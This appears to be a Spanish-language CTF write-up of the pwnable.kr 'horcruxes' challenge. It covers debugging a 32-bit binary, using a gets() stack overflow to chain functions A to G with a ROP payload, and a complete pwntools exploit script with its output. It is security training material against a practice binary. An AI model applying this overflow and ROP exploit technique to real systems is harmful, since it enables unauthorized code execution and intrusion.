History view

Pwning in Linux

Basics Return-oriented programming

theFaunia in the wild 2019. 2. 28. 17:41

Horcruxes

Date: 05/01/2019-08/01/2019 @naivenom

3.1 Deep Reversing Analysis

Primero vemos las protecciones y tiene NX habilitado en áreas como no ejecutable.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
Vemos las funciones que usa el binario,
Non-debugging symbols:
0x0809fbec  _init
0x0809fc20  seccomp_init@plt
0x0809fc30  read@plt
0x0809fc40  printf@plt
0x0809fc50  gets@plt
0x0809fc60  seccomp_rule_add@plt
0x0809fc70  getchar@plt
0x0809fc80  seccomp_load@plt
0x0809fc90  alarm@plt
0x0809fca0  puts@plt
0x0809fcb0  exit@plt
0x0809fcc0  open@plt
0x0809fcd0  srand@plt
0x0809fce0  __libc_start_main@plt
0x0809fcf0  setvbuf@plt
0x0809fd00  rand@plt
0x0809fd10  __isoc99_scanf@plt
0x0809fd20  atoi@plt
0x0809fd30  close@plt
0x0809fd50  _start
0x0809fd80  __x86.get_pc_thunk.bx
0x0809fd90  deregister_tm_clones
0x0809fdc0  register_tm_clones
0x0809fe00  __do_global_dtors_aux
0x0809fe20  frame_dummy
0x0809fe4b  A
0x0809fe6a  B
0x0809fe89  C
0x0809fea8  D
0x0809fec7  E
0x0809fee6  F
0x0809ff05  G
0x0809ff24  main
0x080a0009  ropme
0x080a0177  init_ABCDEFG
0x080a0324  hint
0x080a0350  __libc_csu_init
0x080a03b0  __libc_csu_fini
0x080a03b4  _fini
Empezaremos por la función main así que le damos a start y debuggeamos instrucción por instrucción con el objetivo de averiguar o encontrar algún fallo que nos permita obtener una shell ya que según el fichero readme nos tenemos que conectar vía nc y conseguir leer el fichero flag y para ello que mejor que obtener una shell. Como no puede ser de otra manera deberemos estudiar desde el punto de entrada en la aplicación. De primeras nos pide esto,
horcruxes@ubuntu:/tmp/nai_horcruxes$ ./horcruxes 
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:1
How many EXP did you earned? : 1
You'd better get more experience to kill Voldemort
Posible pattern hasta escritura de RET debido a Overflow de la funcion Gets(): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Pattern mas sofisticado, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccdddde Tenemos que si encadenamos todas las funciones A,B,C,D,E,F Y G llamamos a cada una de ellas y asi podremos saber EXP final que no dejara de ser el valor que necesitemos a la hora de poder hacer un open() y read() para abrir el fichero flag. Vemos primero como encadenamos con la función A(),
gdb-peda$ x/100xw $esp
0xffffdb70:	0x080a0544	0xf7f9d000	0xffffdbf8	0x080a0038
0xffffdb80:	0x080a3050	0x42414141	0x43424242	0x44434343
0xffffdb90:	0x45444444	0x46454545	0x47464646	0x48474747
0xffffdba0:	0x49484848	0x4a494949	0x4b4a4a4a	0x4c4b4b4b
0xffffdbb0:	0x4d4c4c4c	0x4e4d4d4d	0x4f4e4e4e	0x504f4f4f
0xffffdbc0:	0x51505050	0x52515151	0x53525252	0x54535353
0xffffdbd0:	0x55545454	0x56555555	0x57565656	0x58575757
0xffffdbe0:	0x59585858	0x5a595959	0x615a5a5a	0x62616161
0xffffdbf0:	0x63626262	0x64636363	0x65646464	0x0809fe4b
Vemos como antes del leave de la función ropme tenemos al final del stack la dirección 0x0809fe4b que corresponde a la dirección de A(), pues cuando haga el leave el return address valdrá esta función y retornara a ella gracias al overflow de la función gets(),
gdb-peda$ x/100xw $esp
0xffffdbfc:	0x0809fe4b	0x0809fe6a	0x0809fe89	0x0809fea8

=> 0x809fe4b A:	push   ebp
   0x809fe4c A+1:	mov    ebp,esp
   0x809fe4e A+3:	sub    esp,0x8
   0x809fe51 A+6:	mov    eax,ds:0x80a2088
   0x809fe56 A+11:	sub    esp,0x8
Y ya estaríamos en la funcion A() por la cual hemos redirigido el flujo de ejecución del programa gracias al overflow del gets(), del mismo modo hacemos con las demás funciones hasta llegas a G() Este es el buffer hecho hasta ahora donde encadenamos las funciones,
buff = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccdddde"+"\x4b\xfe\x09\x08"+"\x6a\xfe\x09\x08"+"\x89\xfe\x09\x08"+"\xa8\xfe\x09\x08"+"\xc7\xfe\x09\x08"+"\xe6\xfe\x09\x08"+"\x05\xff\x09\x08"
print buff

3.2 Explotación

En este punto tenemos que pensar en hacer un ROP usando algún gadget para saltar a una dirección que nos sirva para poder aprovechar todos los EXP de las funciones vistas ya que lo necesitaremos para poder hacer cumplir esta condición y hacer luego el open, read del flag,
0x80a0100 :	mov    edx,eax
0x80a0102 :	mov    eax,ds:0x80a2078
0x80a0107 :	cmp    edx,eax
0x80a0109 :	jne    0x80a0160 
Lo único que tenemos que hacer es añadir en nuestro buffer la dirección del call para volver a ejecutar la función y seria un win ya que tenemos los calores que nos da A,B,C,D,E,F y G. Tan solo hay que sumar todos esos valores y en la instrucción 0x80a0102 cuando mueva al registro eax tendrá esa suma y habremos conseguido que cumpla la condición ya que al saberlo nosotros con el gets le pasaremos ese valor. Pero antes de nada añadimos en el buffer la dirección del call
buff = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccdddde"+"\x4b\xfe\x09\x08"+"\x6a\xfe\x09\x08"+"\x89\xfe\x09\x08"+"\xa8\xfe\x09\x08"+"\xc7\xfe\x09\x08"+"\xe6\xfe\x09\x08"+"\x05\xff\x09\x08"+"\xfc\xff\x09\x08"+"AAAA"
print buff
Y ahora tomamos notas de lo que ocurre en cada una de las funciones A,B,C,D,E,F y G y tomamos apunte de la dirección de memoria:
binary@ubuntu:~/pwnable.kr/horcruxes$ cat values 
Breakpoint 1: 0x080a0100
Breakpoint 2:0x080a0009

a:0x1ff08d25
b:0x129cee2c
c:0x5e3b62da
d:0x4147c7a8
e:0x4cb0853c
f:0xbf3f91ba
g:0x4eac3e14

suma->0x22cacfadd
binary@ubuntu:~/pwnable.kr/horcruxes$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x1ff08d25+0x129cee2c+0x5e3b62da+0x4147c7a8+0x4cb0853c+0xbf3f91ba+0x4eac3e14
9339468509
>>> hex(9339468509)
'0x22cacfadd'
Vemos que la suma es 0x22cacfadd, pero si vemos en el debugger es->0x2cacfadd. Hay un 2 de mas que habrá que quitar. Una vez tengamos esto claro solo tenemos que volver a enviar en Select Menu: 1 y en la EXP mandar ese valor, aquí el exploit final:
from pwn import *
p = remote('localhost', 9032)
#STAGE  1
def parser(s):
    keyword = 'EXP +'
    start = s.find(keyword) + len(keyword)
    end = s.find(')', start)
    return int(s[start:end])

sleep(0.5)
print p.read(),
#Select menu
p.sendline('1')
print p.read(),

payload = "A"*120 #Gets() Overflow
payload += "\x4b\xfe\x09\x08"+"\x6a\xfe\x09\x08"+"\x89\xfe\x09\x08"
payload += "\xa8\xfe\x09\x08"+"\xc7\xfe\x09\x08"+"\xe6\xfe\x09\x08"
payload += "\x05\xff\x09\x08"+"\xfc\xff\x09\x08"+"\x0a"
print p.read()

print(payload)
sleep(0.5)
p.sendline(payload) #ROP All Functions A,B,C,D,E,F and G + call <ropme>

print p.readline(),
A = p.readline()
B = p.readline()
C = p.readline()
D = p.readline()
E = p.readline()
F = p.readline()
G = p.readline()
print A, B, C, D, E, F, G
A = parser(A)
B = parser(B)
C = parser(C)
D = parser(D)
E = parser(E)
F = parser(F)
G = parser(G)
sum = (A + B + C + D + E + F + G) % 2 ** 32
if sum > 0x7fffffff:
    sum -= 2 ** 32
if sum < 0x80000000 - 2 **32:
    sum += 2 ** 32

print p.read(),
sleep(0.5)
#STAGE 2
#Select menu
p.sendline('1')
print p.read(),
sleep(0.5)
#Send sum value of EXP
p.sendline(str(sum))
print p.read()
p.close()
Y lo lanzamos,
horcruxes@ubuntu:/tmp/nai_horcruxes$ python exploit_final2.py 
[+] Opening connection to localhost on port 9032: Done
Voldemort concealed his splitted soul inside 7 horcruxes. 
Find all horcruxes, and destroy it!

Select Menu:How many EXP did you earned? : 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK\xfe   j\xfe   \x89\xfe   \xa8\xfe   ??   ??\x05\xff   ??	

You'd better get more experience to kill Voldemort
You found "Tom Riddle's Diary" (EXP +1964998869)
You found "Marvolo Gaunt's Ring" (EXP +-2083643668)
You found "Helga Hufflepuff's Cup" (EXP +-1166596814)
You found "Salazar Slytherin's Locket" (EXP +247476109)
You found "Rowena Ravenclaw's Diadem" (EXP +638502411)
You found "Nagini the Snake" (EXP +897377140)
You found "Harry Potter" (EXP +1405322174)

Select Menu: How many EXP did you earned? :  xxxxxxxxxxxxxxxxxxxx

Closed connection to localhost port 9032
Comments